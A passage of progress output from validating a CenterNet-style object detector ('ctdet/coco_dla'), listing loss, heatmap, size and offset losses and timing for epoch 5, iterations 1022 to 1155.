|Net 0.022s ctdet/coco_dla| val: [5][1022/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9469 |hm_loss 0.6377 |wh_loss 2.6502 |off_loss 0.0442 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1023/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9527 |hm_loss 0.6412 |wh_loss 2.6684 |off_loss 0.0446 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1024/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9582 |hm_loss 0.6448 |wh_loss 2.6879 |off_loss 0.0446 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1025/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9632 |hm_loss 0.6484 |wh_loss 2.7007 |off_loss 0.0447 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1026/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9691 |hm_loss 0.6521 |wh_loss 2.7181 |off_loss 0.0452 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1027/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9752 |hm_loss 0.6558 |wh_loss 2.7393 |off_loss 0.0455 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1028/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9812 |hm_loss 0.6594 |wh_loss 2.7570 |off_loss 0.0461 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1029/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9864 |hm_loss 0.6631 |wh_loss 2.7678 |off_loss 0.0465 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1030/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9855 |hm_loss 0.6625 |wh_loss 2.7651 |off_loss 0.0465 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1031/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9846 |hm_loss 0.6619 |wh_loss 2.7625 |off_loss 0.0464 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1032/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9837 |hm_loss 0.6613 |wh_loss 2.7598 |off_loss 0.0464 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1033/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9828 |hm_loss 0.6607 |wh_loss 2.7571 |off_loss 0.0464 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1034/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9819 |hm_loss 0.6602 |wh_loss 2.7545 |off_loss 0.0463 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1035/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9810 |hm_loss 0.6596 |wh_loss 2.7518 |off_loss 0.0463 |Data 0.006s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1036/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9801 |hm_loss 0.6590 |wh_loss 2.7491 |off_loss 0.0462 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1037/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9792 |hm_loss 0.6584 |wh_loss 2.7465 |off_loss 0.0462 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1038/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9783 |hm_loss 0.6578 |wh_loss 2.7439 |off_loss 0.0461 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1039/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9774 |hm_loss 0.6572 |wh_loss 2.7412 |off_loss 0.0461 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1040/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9766 |hm_loss 0.6567 |wh_loss 2.7386 |off_loss 0.0460 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1041/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9757 |hm_loss 0.6561 |wh_loss 2.7360 |off_loss 0.0460 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1042/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9748 |hm_loss 0.6555 |wh_loss 2.7333 |off_loss 0.0460 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1043/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9739 |hm_loss 0.6549 |wh_loss 2.7307 |off_loss 0.0459 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1044/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9730 |hm_loss 0.6543 |wh_loss 2.7281 |off_loss 0.0459 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1045/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9721 |hm_loss 0.6538 |wh_loss 2.7255 |off_loss 0.0458 |Data 0.009s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1046/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9713 |hm_loss 0.6532 |wh_loss 2.7229 |off_loss 0.0458 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1047/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9704 |hm_loss 0.6526 |wh_loss 2.7203 |off_loss 0.0457 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1048/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9695 |hm_loss 0.6520 |wh_loss 2.7177 |off_loss 0.0457 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1049/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9686 |hm_loss 0.6515 |wh_loss 2.7151 |off_loss 0.0457 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1050/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9678 |hm_loss 0.6509 |wh_loss 2.7125 |off_loss 0.0456 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1051/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9669 |hm_loss 0.6503 |wh_loss 2.7099 |off_loss 0.0456 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1052/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9660 |hm_loss 0.6498 |wh_loss 2.7074 |off_loss 0.0455 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1053/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9652 |hm_loss 0.6492 |wh_loss 2.7048 |off_loss 0.0455 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1054/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9643 |hm_loss 0.6486 |wh_loss 2.7022 |off_loss 0.0454 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1055/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9634 |hm_loss 0.6481 |wh_loss 2.6997 |off_loss 0.0454 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1056/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9626 |hm_loss 0.6475 |wh_loss 2.6971 |off_loss 0.0453 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1057/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9617 |hm_loss 0.6469 |wh_loss 2.6946 |off_loss 0.0453 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1058/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9608 |hm_loss 0.6464 |wh_loss 2.6920 |off_loss 0.0453 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1059/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9600 |hm_loss 0.6458 |wh_loss 2.6895 |off_loss 0.0452 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1060/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9591 |hm_loss 0.6453 |wh_loss 2.6870 |off_loss 0.0452 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1061/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9583 |hm_loss 0.6447 |wh_loss 2.6844 |off_loss 0.0451 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1062/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9574 |hm_loss 0.6441 |wh_loss 2.6819 |off_loss 0.0451 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1063/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9566 |hm_loss 0.6436 |wh_loss 2.6794 |off_loss 0.0451 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1064/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9557 |hm_loss 0.6430 |wh_loss 2.6769 |off_loss 0.0450 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1065/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9549 |hm_loss 0.6425 |wh_loss 2.6744 |off_loss 0.0450 |Data 0.019s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1066/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9540 |hm_loss 0.6419 |wh_loss 2.6718 |off_loss 0.0449 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1067/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9532 |hm_loss 0.6414 |wh_loss 2.6693 |off_loss 0.0449 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1068/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9523 |hm_loss 0.6408 |wh_loss 2.6668 |off_loss 0.0448 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1069/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9515 |hm_loss 0.6403 |wh_loss 2.6644 |off_loss 0.0448 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1070/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9507 |hm_loss 0.6397 |wh_loss 2.6619 |off_loss 0.0448 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1071/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9498 |hm_loss 0.6392 |wh_loss 2.6594 |off_loss 0.0447 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1072/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9490 |hm_loss 0.6386 |wh_loss 2.6569 |off_loss 0.0447 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1073/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9481 |hm_loss 0.6381 |wh_loss 2.6544 |off_loss 0.0446 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1074/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9473 |hm_loss 0.6375 |wh_loss 2.6520 |off_loss 0.0446 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1075/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9465 |hm_loss 0.6370 |wh_loss 2.6495 |off_loss 0.0445 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1076/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9456 |hm_loss 0.6364 |wh_loss 2.6470 |off_loss 0.0445 |Data 0.005s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1077/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9448 |hm_loss 0.6359 |wh_loss 2.6446 |off_loss 0.0445 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1078/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9440 |hm_loss 0.6353 |wh_loss 2.6421 |off_loss 0.0444 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1079/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9432 |hm_loss 0.6348 |wh_loss 2.6397 |off_loss 0.0444 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1080/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9423 |hm_loss 0.6343 |wh_loss 2.6372 |off_loss 0.0443 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1081/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9415 |hm_loss 0.6337 |wh_loss 2.6348 |off_loss 0.0443 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1082/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9407 |hm_loss 0.6332 |wh_loss 2.6324 |off_loss 0.0443 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1083/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9399 |hm_loss 0.6327 |wh_loss 2.6299 |off_loss 0.0442 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1084/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9391 |hm_loss 0.6321 |wh_loss 2.6275 |off_loss 0.0442 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1085/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9382 |hm_loss 0.6316 |wh_loss 2.6251 |off_loss 0.0441 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1086/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9374 |hm_loss 0.6311 |wh_loss 2.6227 |off_loss 0.0441 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1087/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9366 |hm_loss 0.6305 |wh_loss 2.6203 |off_loss 0.0441 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1088/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9358 |hm_loss 0.6300 |wh_loss 2.6179 |off_loss 0.0440 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1089/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9350 |hm_loss 0.6295 |wh_loss 2.6155 |off_loss 0.0440 |Data 0.016s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1090/2110]|Tot: 0:00:23 |ETA: 0:00:00 |loss 0.9342 |hm_loss 0.6289 |wh_loss 2.6131 |off_loss 0.0439 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1091/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9334 |hm_loss 0.6284 |wh_loss 2.6107 |off_loss 0.0439 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1092/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9326 |hm_loss 0.6279 |wh_loss 2.6083 |off_loss 0.0439 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1093/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9318 |hm_loss 0.6274 |wh_loss 2.6059 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1094/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9310 |hm_loss 0.6268 |wh_loss 2.6035 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1095/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9302 |hm_loss 0.6263 |wh_loss 2.6012 |off_loss 0.0437 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1096/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9294 |hm_loss 0.6258 |wh_loss 2.5988 |off_loss 0.0437 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1097/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9286 |hm_loss 0.6253 |wh_loss 2.5964 |off_loss 0.0437 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1098/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9278 |hm_loss 0.6247 |wh_loss 2.5941 |off_loss 0.0436 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1099/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9270 |hm_loss 0.6242 |wh_loss 2.5917 |off_loss 0.0436 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1100/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9262 |hm_loss 0.6237 |wh_loss 2.5893 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1101/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9254 |hm_loss 0.6232 |wh_loss 2.5870 |off_loss 0.0435 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1102/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9246 |hm_loss 0.6227 |wh_loss 2.5846 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1103/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9290 |hm_loss 0.6253 |wh_loss 2.6005 |off_loss 0.0436 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1104/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9336 |hm_loss 0.6288 |wh_loss 2.6083 |off_loss 0.0440 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1105/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9384 |hm_loss 0.6322 |wh_loss 2.6171 |off_loss 0.0445 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1106/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9444 |hm_loss 0.6357 |wh_loss 2.6400 |off_loss 0.0447 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1107/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9436 |hm_loss 0.6351 |wh_loss 2.6376 |off_loss 0.0447 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1108/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9428 |hm_loss 0.6346 |wh_loss 2.6352 |off_loss 0.0446 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1109/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9420 |hm_loss 0.6341 |wh_loss 2.6328 |off_loss 0.0446 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1110/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9412 |hm_loss 0.6336 |wh_loss 2.6305 |off_loss 0.0445 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1111/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9404 |hm_loss 0.6330 |wh_loss 2.6281 |off_loss 0.0445 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1112/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9396 |hm_loss 0.6325 |wh_loss 2.6257 |off_loss 0.0445 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1113/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9388 |hm_loss 0.6320 |wh_loss 2.6234 |off_loss 0.0444 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1114/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9380 |hm_loss 0.6315 |wh_loss 2.6210 |off_loss 0.0444 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1115/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9372 |hm_loss 0.6310 |wh_loss 2.6187 |off_loss 0.0443 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1116/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9364 |hm_loss 0.6305 |wh_loss 2.6163 |off_loss 0.0443 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1117/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9356 |hm_loss 0.6299 |wh_loss 2.6140 |off_loss 0.0443 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1118/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9348 |hm_loss 0.6294 |wh_loss 2.6117 |off_loss 0.0442 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1119/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9340 |hm_loss 0.6289 |wh_loss 2.6093 |off_loss 0.0442 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1120/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9332 |hm_loss 0.6284 |wh_loss 2.6070 |off_loss 0.0442 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1121/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9325 |hm_loss 0.6279 |wh_loss 2.6047 |off_loss 0.0441 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1122/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9317 |hm_loss 0.6274 |wh_loss 2.6024 |off_loss 0.0441 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1123/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9309 |hm_loss 0.6269 |wh_loss 2.6000 |off_loss 0.0440 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1124/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9301 |hm_loss 0.6263 |wh_loss 2.5977 |off_loss 0.0440 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1125/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9293 |hm_loss 0.6258 |wh_loss 2.5954 |off_loss 0.0440 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1126/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9285 |hm_loss 0.6253 |wh_loss 2.5931 |off_loss 0.0439 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1127/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9278 |hm_loss 0.6248 |wh_loss 2.5908 |off_loss 0.0439 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1128/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9270 |hm_loss 0.6243 |wh_loss 2.5885 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1129/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9262 |hm_loss 0.6238 |wh_loss 2.5862 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1130/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9255 |hm_loss 0.6233 |wh_loss 2.5840 |off_loss 0.0438 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1131/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9247 |hm_loss 0.6228 |wh_loss 2.5817 |off_loss 0.0437 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1132/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9239 |hm_loss 0.6223 |wh_loss 2.5794 |off_loss 0.0437 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1133/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9231 |hm_loss 0.6218 |wh_loss 2.5771 |off_loss 0.0436 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1134/2110]|Tot: 0:00:24 |ETA: 0:00:00 |loss 0.9224 |hm_loss 0.6213 |wh_loss 2.5749 |off_loss 0.0436 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1135/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9216 |hm_loss 0.6208 |wh_loss 2.5726 |off_loss 0.0436 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1136/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9208 |hm_loss 0.6203 |wh_loss 2.5703 |off_loss 0.0435 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1137/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9201 |hm_loss 0.6198 |wh_loss 2.5681 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1138/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9193 |hm_loss 0.6193 |wh_loss 2.5658 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1139/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9185 |hm_loss 0.6188 |wh_loss 2.5636 |off_loss 0.0434 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1140/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9178 |hm_loss 0.6183 |wh_loss 2.5613 |off_loss 0.0434 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1141/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9170 |hm_loss 0.6178 |wh_loss 2.5591 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1142/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9163 |hm_loss 0.6173 |wh_loss 2.5568 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1143/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9155 |hm_loss 0.6168 |wh_loss 2.5546 |off_loss 0.0433 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1144/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9148 |hm_loss 0.6163 |wh_loss 2.5524 |off_loss 0.0432 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1145/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9140 |hm_loss 0.6158 |wh_loss 2.5501 |off_loss 0.0432 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1146/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9133 |hm_loss 0.6153 |wh_loss 2.5479 |off_loss 0.0432 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1147/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9125 |hm_loss 0.6148 |wh_loss 2.5457 |off_loss 0.0431 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1148/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9118 |hm_loss 0.6143 |wh_loss 2.5435 |off_loss 0.0431 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1149/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9110 |hm_loss 0.6139 |wh_loss 2.5413 |off_loss 0.0430 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1150/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9103 |hm_loss 0.6134 |wh_loss 2.5391 |off_loss 0.0430 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1151/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9095 |hm_loss 0.6129 |wh_loss 2.5369 |off_loss 0.0430 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1152/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9088 |hm_loss 0.6124 |wh_loss 2.5347 |off_loss 0.0429 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1153/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9080 |hm_loss 0.6119 |wh_loss 2.5325 |off_loss 0.0429 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1154/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9073 |hm_loss 0.6114 |wh_loss 2.5303 |off_loss 0.0429 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1155/2110]|Tot: 0:00:25 |ETA: 0:00:00 |loss 0.9066 |hm_loss 0.6109 |wh_loss 2.5281 |off_loss 0.0428 |Data 